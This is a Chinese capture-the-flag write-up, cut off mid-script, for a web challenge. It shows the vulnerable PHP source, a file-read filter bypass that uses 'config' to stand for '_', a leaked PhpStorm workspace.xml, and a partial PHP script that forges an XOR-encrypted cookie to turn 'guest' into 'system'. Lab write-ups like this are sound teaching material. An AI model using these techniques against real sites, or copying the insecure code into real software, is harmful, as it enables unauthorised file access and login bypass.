九月场
1.code
一开始的URL为
http://ace3c302efed4a9094cbac1dff0250e8add1b4b45f8249d4.game.ichunqiu.com/index.php?jpg=hei.jpg
尝试着令
jpg=index.php
得出了base64编码的文本
丢到解码器里解出文本index.php
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
//在这里会匹配除了a-zA-Z0-9.之外的所有字符 所以_会被匹配到
$file = str_replace("config","_", $file);
//在这里想到用config代替_
$txt = base64_encode(file_get_contents($file));
echo "<img src='https://img-blog.csdnimg.cn/2022011918262297653.gif".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
这里有个知识点利用phpstorm编写的程序 在/.idea/workspace.xml的内容里包含了当前项目下所有的php文件。
那么访问
http://ace3c302efed4a9094cbac1dff0250e8add1b4b45f8249d4.game.ichunqiu.com/.idea/workspace.xml
得到
<list>
<option value="$PROJECT_DIR$/x.php"/>
<option value="$PROJECT_DIR$/config.php"/>
<option value="$PROJECT_DIR$/fl3g_ichuqiu.php"/>
</list>
看见了flag所在的文件
令上面的jpg=fl3g_ichuqiu.php
发现并没有内容返回看上面的index.php源码分析。
令jpg=fl3gconfigichuqiu.php
得到关键的代码
<?php
/**
* Created by PhpStorm.
* Date: 2015/11/16
* Time: 1:31
*/
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
$hash = '';
$max = strlen($chars) - 1;
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
function encrypt($txt,$key){
for($i=0;$i<strlen($txt);$i++){
$tmp .= chr(ord($txt[$i])+10);
}
$txt = $tmp;
$rnd=random(4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$ttmp .= $txt[$i] ^ $key[++$s];
}
return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$txt = substr($txt,4);
$key=md5($rnd.$key);
$s=0;
for($i=0;$i<strlen($txt);$i++){
if($s == 32) $s = 0;
$tmp .= $txt[$i]^$key[++$s];
}
for($i=0;$i<strlen($tmp);$i++){
$tmp1 .= chr(ord($tmp[$i])-10);
}
return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
?>
这里有个关于cookie的加密解密函数,函数一步一步来解析的话很简单
在最后主要有一点
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
echo $flag;
}else{
setcookie('user',encrypt('guest',$key));
echo "╮(╯▽╰)╭";
}
这里cookie的值必须为system但系统默认为guest所以我们的任务就是将guest变为system
主要是把key解出来
下面有我的php代码
<?php
function decrypt($txt){
$txt1="guest";
$tmp2="";
for($i=0;$i<strlen($txt1);$i++){
$tmp2 .= chr(ord($txt1[$i])+10);
}
$txt1=$tmp2;
$txt2="system";
$tmp2="";
for($i=0;$i<strlen($txt2);$i++){
$tmp2 .= chr(ord($txt2[$i])+10);
}
$txt2=$tmp2;
$txt=base64_decode($txt);
$rnd = substr($txt,0,4);
$ttmp = substr($txt,4);
$s=0;
$tmp="";
$content="";
for($i=0;$i<strlen($txt1);$i++){
$tmp .= $txt1[$i]^$ttmp[$s++];
}
$a=$tmp;
$temp='0123456789abcdef';
$f=fopen('1.txt','w');
for($i=0;$i<strlen($temp);$i++)
{
$tmp.=$temp[$